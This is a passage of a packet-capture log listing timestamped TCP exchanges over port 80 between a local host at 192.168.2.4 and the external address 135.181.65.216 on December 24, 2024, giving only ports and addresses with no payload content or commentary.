Dec 24, 2024 22:27:17.847601891 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.847624063 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.847646952 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.848488092 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.848505020 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.848539114 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.848550081 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.848567963 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.848584890 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.848599911 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.848614931 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.848624945 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.848656893 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.849423885 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.849446058 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.849471092 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.849473000 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.849487066 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.849508047 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.849509001 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.849525928 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.849529028 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.849551916 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.849574089 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.850385904 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.850403070 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.850419044 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.850435019 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.850449085 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.850454092 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.850474119 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.850483894 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.851320028 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.851342916 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.851358891 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.851375103 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.851388931 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.851394892 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.851404905 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.851421118 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.851433039 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.852224112 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.852240086 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.852256060 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.852269888 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.852274895 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.852284908 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.852294922 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.852319002 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.853084087 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.853157997 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.853179932 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.853194952 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.853205919 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.853212118 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.853219032 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.853234053 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.853244066 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.853271008 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.853276014 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.854015112 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.854093075 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.854109049 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.854125023 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.854140997 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.854141951 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.854162931 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.854176044 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.855036020 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.855051994 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.855067015 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.855082035 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.855096102 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.855098963 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.855112076 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.855123043 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.855137110 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.855159998 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.855895042 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.855936050 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.855972052 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.855988026 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.856003046 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.856018066 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.856018066 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.856041908 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.856049061 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.856070995 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.856853008 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.856868982 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.856899977 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.856914043 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.856916904 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.856930017 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.856945038 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.856961966 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.856966972 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.856996059 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.857022047 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.857775927 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.857794046 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.857809067 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.857822895 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.857832909 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.857836008 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.857846022 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.857848883 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.857865095 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.857872009 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.857884884 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.857903004 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.858774900 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.858792067 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.858808041 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.858819962 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.858828068 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.858845949 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.970079899 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.970206022 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.970221043 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.970256090 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.970274925 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.970439911 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.970455885 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.970501900 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.970822096 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.970838070 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.970870018 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.970885992 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.971123934 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.971287012 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.971302986 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.971355915 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.971355915 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.971596956 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.972019911 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.972070932 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.972110987 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.972126961 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.972162008 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.972174883 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.972451925 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.972865105 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.972913027 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.972979069 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.972994089 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.973023891 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.973046064 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.973282099 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.973706961 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.973759890 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.973834991 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.973850965 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.973885059 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.973911047 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.974138975 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.974190950 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.974616051 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.974668026 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.974735022 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.974750042 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.974783897 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.974792004 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.975080967 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.975126982 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.975450039 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.975493908 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.975564957 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.975586891 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.975620985 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.975646973 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.975868940 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.975912094 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.976305962 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.976351023 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.976389885 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.976417065 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.976430893 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.976460934 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.976738930 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.976783037 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.977149963 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.977190971 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.977282047 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.977298021 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.977329016 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.977339029 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.977602005 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.977653980 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.978020906 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.978084087 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.978163004 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.978178978 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.978214025 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.978224993 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.978444099 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.978486061 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.978863955 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.978918076 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.979048967 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.979064941 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.979106903 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.979106903 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.979320049 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.979370117 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.979773045 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.979788065 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.979820967 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.979820967 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.979965925 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.979981899 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.980027914 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.980618000 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.980664015 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.980720043 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.980736017 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.980770111 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.980788946 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.981021881 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.981070995 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.981445074 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.981508017 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.981554031 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.981569052 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.981606960 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.981616974 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.981862068 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.981909990 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.982335091 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.982393980 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.982425928 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.982440948 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.982460976 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.982469082 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.982733011 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.982786894 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.983184099 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.983237982 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.983269930 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.983285904 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.983323097 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.983334064 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.983594894 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.983647108 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.984014988 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.984060049 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.984139919 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.984150887 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.984196901 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.984196901 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.984451056 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.984509945 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.984877110 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.984926939 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.985023022 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.985032082 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.985066891 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.985316038 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.985363960 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.985753059 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.985796928 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.985856056 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.985867023 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.985918999 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.986176014 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.986236095 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.986624956 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.986673117 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.986716986 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.986726999 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.986763954 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.987030983 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.987076998 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.987468004 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.987513065 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.987615108 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.987626076 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.987654924 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.987664938 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.987926006 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.987971067 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.988291025 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.988338947 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.988421917 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.988431931 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.988461971 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.988471031 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.988743067 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.988797903 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.989198923 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.989208937 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.989243031 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.989387035 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.989397049 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.989434004 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.990042925 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.990089893 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.990161896 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.990170956 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.990205050 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.990212917 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.990473032 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.990526915 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.990959883 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.991004944 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.991044998 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.991055012 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.991082907 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.991353989 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.991398096 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.991763115 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.991806984 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.991867065 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.991877079 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.991909981 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.991926908 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:17.992187023 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:17.992230892 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.162297964 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.162355900 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.162394047 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.162406921 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.162441015 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.162681103 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.162727118 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.162894011 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.162906885 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.162938118 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.162956953 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.163188934 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.163233995 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.163347960 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.163388014 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.163480997 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.163702011 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.163713932 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.163727045 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.163747072 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.163781881 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.164278030 CET	80	49749	135.181.65.216	192.168.2.4
